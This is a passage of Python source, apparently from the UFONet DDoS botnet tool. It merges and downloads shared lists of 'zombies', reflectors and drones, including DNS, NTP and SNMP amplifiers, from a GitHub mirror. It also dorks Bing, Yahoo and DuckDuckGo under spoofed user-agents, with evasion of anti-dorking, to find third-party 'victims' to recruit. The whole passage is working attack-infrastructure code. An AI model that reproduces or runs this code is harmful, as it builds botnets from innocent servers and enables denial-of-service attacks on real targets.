  3225. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3226. ucavs = self.extract_ucavs()
  3227. if not ucavs:
  3228. return
  3229. ucavs_added = 0
  3230. if os.path.isfile('botnet/drones.txt'):
  3231. f = open('botnet/drones.txt')
  3232. drones = f.readlines()
  3233. drones = [drone.strip() for drone in drones]
  3234. f.close()
  3235. fz = open(self.ucavs_file)
  3236. ucavs = fz.readlines()
  3237. ucavs = [ucav.strip() for ucav in ucavs]
  3238. fz.close()
  3239. au = open('botnet/ucavs.txt', 'a')
  3240. for drone in drones:
  3241. if drone not in ucavs:
  3242. ucavs_added = ucavs_added + 1
  3243. au.write(drone+os.linesep)
  3244. else:
  3245. pass
  3246. au.close()
  3247. os.remove('botnet/drones.txt') # remove ucavs file
  3248. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3249. rpcs = self.extract_rpcs()
  3250. if not rpcs:
  3251. return
  3252. rpcs_added = 0
  3253. if os.path.isfile('botnet/reflectors.txt'):
  3254. f = open('botnet/reflectors.txt')
  3255. reflectors = f.readlines()
  3256. reflectors = [reflector.strip() for reflector in reflectors]
  3257. f.close()
  3258. fz = open(self.rpcs_file)
  3259. rpcs = fz.readlines()
  3260. rpcs = [rpc.strip() for rpc in rpcs]
  3261. fz.close()
  3262. ar = open('botnet/rpcs.txt', 'a')
  3263. for reflector in reflectors:
  3264. if reflector not in rpcs:
  3265. rpcs_added = rpcs_added + 1
  3266. ar.write(reflector+os.linesep)
  3267. else:
  3268. pass
  3269. ar.close()
  3270. os.remove('botnet/reflectors.txt') # remove rpcs file
  3271. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3272. ntps = self.extract_ntps()
  3273. if not ntps:
  3274. return
  3275. ntps_added = 0
  3276. if os.path.isfile('botnet/crystals.txt'):
  3277. f = open('botnet/crystals.txt')
  3278. crystals = f.readlines()
  3279. crystals = [crystal.strip() for crystal in crystals]
  3280. f.close()
  3281. fz = open(self.ntps_file)
  3282. ntps = fz.readlines()
  3283. ntps = [ntp.strip() for ntp in ntps]
  3284. fz.close()
  3285. an = open('botnet/ntp.txt', 'a')
  3286. for crystal in crystals:
  3287. if crystal not in ntps:
  3288. ntps_added = ntps_added + 1
  3289. an.write(crystal+os.linesep)
  3290. else:
  3291. pass
  3292. an.close()
  3293. os.remove('botnet/crystals.txt') # remove crystals file
  3294. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3295. dnss = self.extract_dnss()
  3296. if not dnss:
  3297. return
  3298. dnss_added = 0
  3299. if os.path.isfile('botnet/warps.txt'):
  3300. f = open('botnet/warps.txt')
  3301. warps = f.readlines()
  3302. warps = [warp.strip() for warp in warps]
  3303. f.close()
  3304. fz = open(self.dnss_file)
  3305. dnss = fz.readlines()
  3306. dnss = [dns.strip() for dns in dnss]
  3307. fz.close()
  3308. ad = open('botnet/dns.txt', 'a')
  3309. for warp in warps:
  3310. if warp not in dnss:
  3311. dnss_added = dnss_added + 1
  3312. ad.write(warp+os.linesep)
  3313. else:
  3314. pass
  3315. ad.close()
  3316. os.remove('botnet/warps.txt') # remove warps file
  3317. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3318. snmps = self.extract_snmps()
  3319. if not snmps:
  3320. return
  3321. snmps_added = 0
  3322. if os.path.isfile('botnet/bosons.txt'):
  3323. f = open('botnet/bosons.txt')
  3324. bosons = f.readlines()
  3325. bosons = [boson.strip() for boson in bosons]
  3326. f.close()
  3327. fz = open(self.snmps_file)
  3328. snmps = fz.readlines()
  3329. snmps = [snmp.strip() for snmp in snmps]
  3330. fz.close()
  3331. asn = open('botnet/snmp.txt', 'a')
  3332. for boson in bosons:
  3333. if boson not in snmps:
  3334. snmps_added = snmps_added + 1
  3335. asn.write(boson+os.linesep)
  3336. else:
  3337. pass
  3338. asn.close()
  3339. os.remove('botnet/bosons.txt') # remove snmps file
  3340. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3341. print('-'*12 + '\n')
  3342. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3343. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3344. print('-'*12 + '\n')
  3345. else:
  3346. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3347. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3348. print('-'*12)
  3349. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3350. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3351. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3352. globalnet_list.append(stream+os.linesep)
  3353. print('='*22 + '\n')
  3354. if globalnet_list is not None:
  3355. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3356. for node in globalnet_list:
  3357. f.write(node)
  3358. f.close()
  3359. def downloading_github_list(self):
  3360. # add your mirror to protect/share/distribute... [Zombies]
  3361. try:
  3362. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3363. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3364. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3365. if self.options.timeout: # set timeout
  3366. try:
  3367. timeout = int(self.options.timeout)
  3368. except:
  3369. timeout = 5
  3370. else:
  3371. timeout = 5
  3372. if timeout < 1:
  3373. timeout = 5
  3374. if self.options.proxy: # set proxy
  3375. self.proxy_transport(self.options.proxy)
  3376. try:
  3377. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3378. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3379. except:
  3380. zombies_reply = ""
  3381. try:
  3382. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3383. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3384. except:
  3385. aliens_reply = ""
  3386. try:
  3387. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3388. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3389. except:
  3390. dns_reply = ""
  3391. try:
  3392. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3393. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3394. except:
  3395. droids_reply = ""
  3396. try:
  3397. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3398. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3399. except:
  3400. rpcs_reply = ""
  3401. try:
  3402. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3403. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3404. except:
  3405. ucavs_reply = ""
  3406. try:
  3407. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3408. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3409. except:
  3410. ntp_reply = ""
  3411. try:
  3412. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3413. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3414. except:
  3415. snmp_reply = ""
  3416. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3417. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3418. print('-'*12 + '\n')
  3419. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3420. return
  3421. f = open('botnet/abductions.txt', 'w') # zombies
  3422. f.write(zombies_reply)
  3423. f.close()
  3424. f = open('botnet/troops.txt', 'w') # aliens
  3425. f.write(aliens_reply)
  3426. f.close()
  3427. f = open('botnet/crystals.txt', 'w') # dns
  3428. f.write(dns_reply)
  3429. f.close()
  3430. f = open('botnet/robots.txt', 'w') # droids
  3431. f.write(droids_reply)
  3432. f.close()
  3433. f = open('botnet/drones.txt', 'w') # ucavs
  3434. f.write(ucavs_reply)
  3435. f.close()
  3436. f = open('botnet/reflectors.txt', 'w') # rpcs
  3437. f.write(rpcs_reply)
  3438. f.close()
  3439. f = open('botnet/warps.txt', 'w') # ntp
  3440. f.write(ntp_reply)
  3441. f.close()
  3442. f = open('botnet/bosons.txt', 'w') # snmp
  3443. f.write(snmp_reply)
  3444. f.close()
  3445. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3446. except:
  3447. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3448. print('-'*12 + '\n')
  3449. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3450. return
  3451. print('-'*12 + '\n')
  3452. num_abductions = 0
  3453. with open('botnet/abductions.txt') as f: # zombies
  3454. for _ in f:
  3455. num_abductions = num_abductions + 1
  3456. print("[Info] Zombies: " + str(num_abductions))
  3457. num_troops = 0
  3458. with open('botnet/troops.txt') as f: # aliens
  3459. for _ in f:
  3460. num_troops = num_troops + 1
  3461. print("[Info] Aliens : " + str(num_troops))
  3462. num_robots = 0
  3463. with open('botnet/robots.txt') as f: # droids
  3464. for _ in f:
  3465. num_robots = num_robots + 1
  3466. print("[Info] Droids : " + str(num_robots))
  3467. num_drones = 0
  3468. with open('botnet/drones.txt') as f: # ucavs
  3469. for _ in f:
  3470. num_drones = num_drones + 1
  3471. print("[Info] UCAVs : " + str(num_drones))
  3472. num_reflectors = 0
  3473. with open('botnet/reflectors.txt') as f: # rpcs
  3474. for _ in f:
  3475. num_reflectors = num_reflectors + 1
  3476. print("[Info] X-RPCs : " + str(num_reflectors))
  3477. num_crystals = 0
  3478. with open('botnet/crystals.txt') as f: # dns
  3479. for _ in f:
  3480. num_crystals = num_crystals + 1
  3481. print("[Info] DNSs : " + str(num_crystals))
  3482. num_warps = 0
  3483. with open('botnet/warps.txt') as f: # ntp
  3484. for _ in f:
  3485. num_warps = num_warps + 1
  3486. print("[Info] NTPs : " + str(num_warps))
  3487. num_bosons = 0
  3488. with open('botnet/bosons.txt') as f: # snmp
  3489. for _ in f:
  3490. num_bosons = num_bosons + 1
  3491. print("[Info] SNMPs : " + str(num_bosons))
  3492. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3493. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3494. print('-'*12)
  3495. if not self.options.forceyes:
  3496. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3497. print('-'*25)
  3498. else:
  3499. update_reply = "Y"
  3500. if update_reply == "n" or update_reply == "N":
  3501. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3502. os.remove('botnet/troops.txt') # remove aliens/troops file
  3503. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3504. os.remove('botnet/robots.txt') # remove droids/robots file
  3505. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3506. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3507. os.remove('botnet/warps.txt') # remove ntp/warps file
  3508. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3509. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3510. print('-'*25)
  3511. print("\n[AI] "+self.exit_msg+"\n")
  3512. else:
  3513. zombies_ready = []
  3514. f = open('botnet/abductions.txt')
  3515. abductions = f.readlines()
  3516. f.close()
  3517. fz = open(self.zombies_file)
  3518. zombies = fz.readlines()
  3519. fz.close()
  3520. for abduction in abductions:
  3521. abduction = abduction.replace('\n','')
  3522. if abduction not in zombies:
  3523. zombies_ready.append(abduction)
  3524. else:
  3525. pass
  3526. self.update_zombies(zombies_ready)
  3527. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3528. aliens_ready = []
  3529. f = open('botnet/troops.txt')
  3530. troops = f.readlines()
  3531. f.close()
  3532. fz = open(self.aliens_file)
  3533. aliens = fz.readlines()
  3534. fz.close()
  3535. for alien in troops:
  3536. alien = alien.replace('\n','')
  3537. if alien not in aliens:
  3538. aliens_ready.append(alien)
  3539. else:
  3540. pass
  3541. self.update_aliens(aliens_ready)
  3542. os.remove('botnet/troops.txt') # remove aliens/troops file
  3543. dnss_ready = []
  3544. f = open('botnet/crystals.txt')
  3545. crystals = f.readlines()
  3546. f.close()
  3547. fz = open(self.dnss_file)
  3548. dnss = fz.readlines()
  3549. fz.close()
  3550. for crystal in crystals:
  3551. crystal = crystal.replace('\n','')
  3552. if crystal not in dnss:
  3553. dnss_ready.append(crystal)
  3554. else:
  3555. pass
  3556. self.update_dnss(dnss_ready)
  3557. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3558. droids_ready = []
  3559. f = open('botnet/robots.txt')
  3560. robots = f.readlines()
  3561. f.close()
  3562. fz = open(self.droids_file)
  3563. droids = fz.readlines()
  3564. fz.close()
  3565. for droid in robots:
  3566. droid = droid.replace('\n','')
  3567. if droid not in droids:
  3568. droids_ready.append(droid)
  3569. else:
  3570. pass
  3571. self.update_droids(droids_ready)
  3572. os.remove('botnet/robots.txt') # remove droids/robots file
  3573. ucavs_ready = []
  3574. f = open('botnet/drones.txt')
  3575. drones = f.readlines()
  3576. f.close()
  3577. fz = open(self.ucavs_file)
  3578. ucavs = fz.readlines()
  3579. fz.close()
  3580. for drone in drones:
  3581. drone = drone.replace('\n','')
  3582. if drone not in ucavs:
  3583. ucavs_ready.append(drone)
  3584. else:
  3585. pass
  3586. self.update_ucavs(ucavs_ready)
  3587. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  3588. rpcs_ready = []
  3589. f = open('botnet/reflectors.txt')
  3590. reflectors = f.readlines()
  3591. f.close()
  3592. fz = open(self.rpcs_file)
  3593. rpcs = fz.readlines()
  3594. fz.close()
  3595. for reflector in reflectors:
  3596. reflector = reflector.replace('\n','')
  3597. if reflector not in rpcs:
  3598. rpcs_ready.append(reflector)
  3599. else:
  3600. pass
  3601. self.update_rpcs(rpcs_ready)
  3602. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  3603. ntps_ready = []
  3604. f = open('botnet/warps.txt')
  3605. warps = f.readlines()
  3606. f.close()
  3607. fz = open(self.ntps_file)
  3608. ntps = fz.readlines()
  3609. fz.close()
  3610. for warp in warps:
  3611. warp = warp.replace('\n','')
  3612. if warp not in ntps:
  3613. ntps_ready.append(warp)
  3614. else:
  3615. pass
  3616. self.update_ntps(ntps_ready)
  3617. os.remove('botnet/warps.txt') # remove NTP/warps file
  3618. snmps_ready = []
  3619. f = open('botnet/bosons.txt')
  3620. bosons = f.readlines()
  3621. f.close()
  3622. fz = open(self.snmps_file)
  3623. snmps = fz.readlines()
  3624. fz.close()
  3625. for boson in bosons:
  3626. boson = boson.replace('\n','')
  3627. if boson not in snmps:
  3628. snmps_ready.append(boson)
  3629. else:
  3630. pass
  3631. self.update_snmps(snmps_ready)
  3632. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  3633. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3634. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3635. if not self.options.forceyes: # ask for update everything
  3636. print('-'*25 + "\n")
  3637. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3638. else:
  3639. update_reply = "Y"
  3640. if update_reply == "n" or update_reply == "N":
  3641. print("\n[AI] "+self.exit_msg+"\n")
  3642. return
  3643. else:
  3644. try:
  3645. update_gui = self.update_gui_data() # update GUI data
  3646. except:
  3647. print('-'*25 +"\n")
  3648. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3649. print('-'*25)
  3650. print("\n[AI] "+self.exit_msg+"\n")
  3651. return
  3652. def uploading_github_list(self):
  3653. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  3654. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  3655. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  3656. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  3657. print('='*22 + '\n')
  3658. print("[AI] "+self.exit_msg+"\n")
  3659. def create_web_interface(self):
  3660. # launch webserver+gui
  3661. from .webgui import ClientThread
  3662. import webbrowser
  3663. host = '0.0.0.0'
  3664. port = 9999
  3665. try:
  3666. webbrowser.open('http://127.0.0.1:9999', new=1)
  3667. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3668. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  3669. tcpsock.bind((host,port))
  3670. while True:
  3671. tcpsock.listen(4)
  3672. (clientsock, (ip, port)) = tcpsock.accept()
  3673. newthread = ClientThread(ip, port, clientsock)
  3674. newthread.start()
  3675. except (KeyboardInterrupt, SystemExit):
  3676. sys.exit()
  3677. def extract_dorks(self):
  3678. # extract dorks from file (ex: 'dorks.txt')
  3679. try:
  3680. f = open(self.dorks_file)
  3681. dorks = f.readlines()
  3682. dorks = [ dork.replace('\n','') for dork in dorks ]
  3683. f.close()
  3684. if not dorks:
  3685. if not options.autosearch:
  3686. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3687. return
  3688. else:
  3689. return dorks
  3690. except:
  3691. if not options.autosearch:
  3692. if os.path.exists(self.dorks_file) == True:
  3693. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3694. return #sys.exit(2)
  3695. else:
  3696. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3697. return #sys.exit(2)
  3698. else:
  3699. return
  3700. def search_zombies(self, dork, zombies_found):
  3701. # crawlering on search engine results to extract zombies
  3702. options = self.options
  3703. zombies = []
  3704. if not options.engine: # default search engine
  3705. options.engine = 'duck'
  3706. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  3707. url = 'https://www.bing.com/search?'
  3708. if options.search: # search from query
  3709. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3710. if options.dorks or options.autosearch: # search from a dork
  3711. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3712. start = 0 # set index number of first entry
  3713. query_string = { 'q':q, 'first':start }
  3714. data = urllib.parse.urlencode(query_string)
  3715. url = url + data
  3716. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3717. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3718. if options.verbose:
  3719. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3720. try:
  3721. if options.proxy: # set proxy
  3722. self.proxy_transport(options.proxy)
  3723. req = urllib.request.Request(url, None, headers)
  3724. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3725. except:
  3726. print('[Error] [AI] Unable to connect to: bing\n')
  3727. if options.allengines or options.autosearch:
  3728. return
  3729. if not options.dorks or not options.autosearch:
  3730. if not self.options.forceyes:
  3731. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3732. else:
  3733. update_reply = "Y"
  3734. if update_reply == "n" or update_reply == "N":
  3735. return #sys.exit(2)
  3736. print("\nSearch engines available:")
  3737. print('-'*25)
  3738. for e in self.search_engines:
  3739. print("+ "+e)
  3740. print('-'*25)
  3741. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3742. return #sys.exit(2)
  3743. else:
  3744. req_reply = ''
  3745. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  3746. pattern = re.compile(regex)
  3747. url_links = re.findall(pattern, req_reply)
  3748. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  3749. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  3750. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  3751. location = str(random.choice(location).strip()) # shuffle location
  3752. if location == "jp": # [28/02/2019]
  3753. url = 'https://search.yahoo.co.jp/search?'
  3754. else:
  3755. url = 'https://'+location+'.search.yahoo.com/search?'
  3756. if options.search: # search from query
  3757. if location == "jp":
  3758. q = '"' + str(options.search) + '"' # set query to search literally on results
  3759. else:
  3760. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3761. if options.dorks or options.autosearch: # search from a dork
  3762. if location == "jp":
  3763. q = '"' + str(dork) + '"' # set query to search literally on results
  3764. else:
  3765. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3766. start = 0 # set index number of first entry
  3767. query_string = { 'p':q, 'b':start }
  3768. data = urllib.parse.urlencode(query_string)
  3769. url = url + data
  3770. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3771. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3772. if options.verbose:
  3773. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3774. try:
  3775. if options.proxy: # set proxy
  3776. self.proxy_transport(options.proxy)
  3777. req = urllib.request.Request(url, None, headers)
  3778. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3779. except:
  3780. print('[Error] [AI] Unable to connect to: yahoo\n')
  3781. if options.allengines or options.autosearch:
  3782. return
  3783. if not options.dorks or not options.autosearch:
  3784. if not self.options.forceyes:
  3785. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3786. else:
  3787. update_reply = "Y"
  3788. if update_reply == "n" or update_reply == "N":
  3789. return #sys.exit(2)
  3790. print("\nSearch engines available:")
  3791. print('-'*25)
  3792. for e in self.search_engines:
  3793. print("+ "+e)
  3794. print('-'*25)
  3795. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  3796. return #sys.exit(2)
  3797. else:
  3798. req_reply = ''
  3799. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  3800. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  3801. pattern = re.compile(regex)
  3802. url_links = re.findall(pattern, req_reply)
  3803. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  3804. url = 'https://duckduckgo.com/html/'
  3805. if options.search: # search from query
  3806. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3807. if options.dorks or options.autosearch: # search from a dork
  3808. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3809. query_string = { 'q':q }
  3810. data = urllib.parse.urlencode(query_string)
  3811. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3812. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3813. if options.verbose:
  3814. print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")\n")
  3815. try:
  3816. if options.proxy: # set proxy
  3817. self.proxy_transport(options.proxy)
  3818. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  3819. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3820. except:
  3821. print('[Error] [AI] Unable to connect to: duck\n')
  3822. if options.allengines or options.autosearch:
  3823. return
  3824. if not options.dorks or not options.autosearch:
  3825. if not self.options.forceyes:
  3826. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3827. else:
  3828. update_reply = "Y"
  3829. if update_reply == "n" or update_reply == "N":
  3830. return #sys.exit(2)
  3831. print("\nSearch engines available:")
  3832. print('-'*25)
  3833. for e in self.search_engines:
  3834. print("+ "+e)
  3835. print('-'*25)
  3836. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3837. return #sys.exit(2)
  3838. else:
  3839. req_reply = ''
  3840. regex = 'snippet" href="(.+?)">' # regex magics
  3841. pattern = re.compile(regex)
  3842. url_links = re.findall(pattern, req_reply)
  3843. else: # no valid search engine
  3844. print('[Error] [AI] This search engine is not supported!\n')
  3845. if not options.dorks or options.autosearch:
  3846. if not self.options.forceyes:
  3847. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3848. else:
  3849. update_reply = "Y"
  3850. if update_reply == "n" or update_reply == "N":
  3851. return #sys.exit(2)
  3852. print("\nSearch engines available:")
  3853. print('-'*25)
  3854. for e in self.search_engines:
  3855. print("+ "+e)
  3856. print('-'*25)
  3857. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3858. return #sys.exit(2)
  3859. else:
  3860. req_reply = ''
  3861. if options.num_results: # set number of results to search
  3862. try:
  3863. num = int(options.num_results)
  3864. except:
  3865. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3866. num = 10
  3867. else:
  3868. num = 10
  3869. total_results = 1
  3870. for url in url_links: # general parse on urls
  3871. if int(num) < int(total_results):
  3872. break
  3873. if options.engine == "bing":
  3874. if " h=" in url: # regex magics [18/08/2016]
  3875. url = url.rsplit('" h=',1)[0]
  3876. if options.engine == "yahoo":
  3877. if 'RU=' in url: # regex magics [18/08/2016]
  3878. url = url.rsplit('RU=',1)[1]
  3879. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  3880. url = url.rsplit('UTF-8&u=',1)[1]
  3881. total_results = total_results + 1 # results counter
  3882. url_link = urllib.parse.unquote(url) # unquote encoding
  3883. if options.search:
  3884. sep = str(options.search)
  3885. if options.dorks or options.autosearch:
  3886. sep = str(dork)
  3887. url_link = url_link.rsplit(sep, 1)[0] + sep
  3888. if 'href="' in url_link:
  3889. url_link = url_link.rsplit('href="', 1)[1]
  3890. if "instreamset" in url_link: # invalid zombie
  3891. url_link = "" # discarded
  3892. if '" ' in url_link:
  3893. url_link = url_link.rsplit('" ', 1)[1]
  3894. if options.engine in url_link:
  3895. url_link = "" # discarded
  3896. if 'http' not in url_link:
  3897. url_link = "" # discarded
  3898. else:
  3899. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
  3900. print('+Victim found: ' + url_link)
  3901. zombies.append(url_link)
  3902. else:
  3903. pass
  3904. if len(zombies) == 0: # print dorking results
  3905. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  3906. if not options.dorks:
  3907. if not options.autosearch:
  3908. if not self.options.forceyes:
  3909. return #sys.exit(2)
  3910. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  3911. print("")
  3912. return zombies
  3913. def check_nat(self):
  3914. # check for NAT configuration
  3915. options = self.options
  3916. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  3917. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  3918. check_ip_service = None
  3919. if not tor_reply or 'Congratulations' not in tor_reply:
  3920. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  3921. else:
  3922. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  3923. self.nat_error_flag = "ON"
  3924. return #sys.exit(2)
  3925. try:
  3926. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  3927. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  3928. check_ip_service = self.check_ip_service1
  3929. except:
  3930. try: # another check for public ip
  3931. data = str(urlopen(self.check_ip_service2).read())
  3932. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  3933. check_ip_service = self.check_ip_service2
  3934. except:
  3935. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  3936. self.nat_error_flag = "ON"
  3937. return
  3938. t = urlparse(check_ip_service)
  3939. name_service = t.netloc
  3940. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  3941. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  3942. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  3943. self.local_ip = s.getsockname()[0]
  3944. print(" + Local: " + self.local_ip + "\n")
  3945. print('='*22 + '\n')
  3946. def extract_ucavs(self):
  3947. # extract ucavs from file
  3948. options = self.options
  3949. try:
  3950. f = open(self.ucavs_file)
  3951. ucavs = f.readlines()
  3952. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  3953. f.close()
  3954. if not ucavs:
  3955. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3956. self.options.disableucavs = True
  3957. return
  3958. else:
  3959. return ucavs
  3960. except:
  3961. if os.path.exists(self.ucavs_file) == True:
  3962. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3963. return #sys.exit(2)
  3964. else:
  3965. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3966. return #sys.exit(2)
  3967. def discarding_ucavs(self, ucav, ucavs):
  3968. if ucav in self.discard_ucavs:
  3969. ucavs.remove(ucav)
  3970. if self.options.verbose:
